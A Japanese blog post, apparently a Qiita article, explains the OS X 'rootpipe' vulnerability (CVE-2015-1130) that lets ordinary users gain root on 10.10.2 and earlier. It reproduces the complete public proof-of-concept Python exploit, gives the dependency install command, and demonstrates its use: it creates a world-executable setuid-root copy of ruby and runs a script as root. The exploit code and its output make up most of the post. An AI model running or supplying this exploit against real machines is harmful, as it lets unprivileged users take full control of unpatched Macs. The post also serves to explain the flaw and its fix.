OSX10.10.2以前で一般ユーザーからrootへ昇格できる脆弱性「rootpipe」が怖い

More than 3 years have passed since last update.


概要

表題のrootpipeの詳細とExploitが公開されました。

https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/

OSX 10.10.2以前で、任意のファイルをrootの所有にできる + setuidもつけれる = root権限でやり放題、という脆弱性です。この脆弱性はOSX 10.10.3(Yosemite最新)にて修正されましたが、10.9(Mavericks)以前のバージョンには修正予定がないそうです。


実演

上記サイトのExploitをrootpipe.pyとして保存します。


rootpipe.py

########################################################

#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])

args = sys.argv

if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")

authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()

# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()

tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)

print "Done!"

del pool


このExploitでは、PythonからObjective-CにアクセスするPyObjCというライブラリを使ってるのでこれを入れます。

easy_install -U pyobjc-core && easy_install -U pyobjc

これで準備は完了。任意のファイルをコピー、昇格出来るようになったので、ここでは使い慣れたrubyを昇格させたrrubyというファイルを作ってみます。

$ python rootpipe.py `which ruby` rruby

will write file /private/tmp/rruby
Done!
$ ls -l rruby
-rwsrwxrwx 1 root staff 9240 4 10 08:45 rruby

ls -l rrubyの結果を見てください。rootの所有かつsetuidが設定され(-rw's'となってる)かつ、だれでも実行できるようになっています。ここでsetuidについて簡単に説明すると、実行ファイルを実行者の権限ではなく、所有者の権限で実行させる仕組みです。この脆弱性では任意のファイルがrootの所有物として作成できるので、setuidが組み合わさることにより、任意のファイルが実行者にかかわらずroot権限で実行できるわけです。

さて、好きなRubyスクリプトがroot権限で実行できるようになりました。なんでも出来るんですがここでは穏便にファイルを作るだけにとどめます。


touch.rb

`touch a`


$ ./rruby touch.rb

$ ls -l a
-rw-r--r-- 1 root wheel 0 4 10 08:51 a

成功しました。怖いですね。